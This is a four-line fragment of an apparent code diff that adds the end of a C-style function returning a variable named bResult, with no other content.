| 1168 | + | |
| 1169 | + | return bResult; |
| 1170 | + | } |
| 1171 | + | |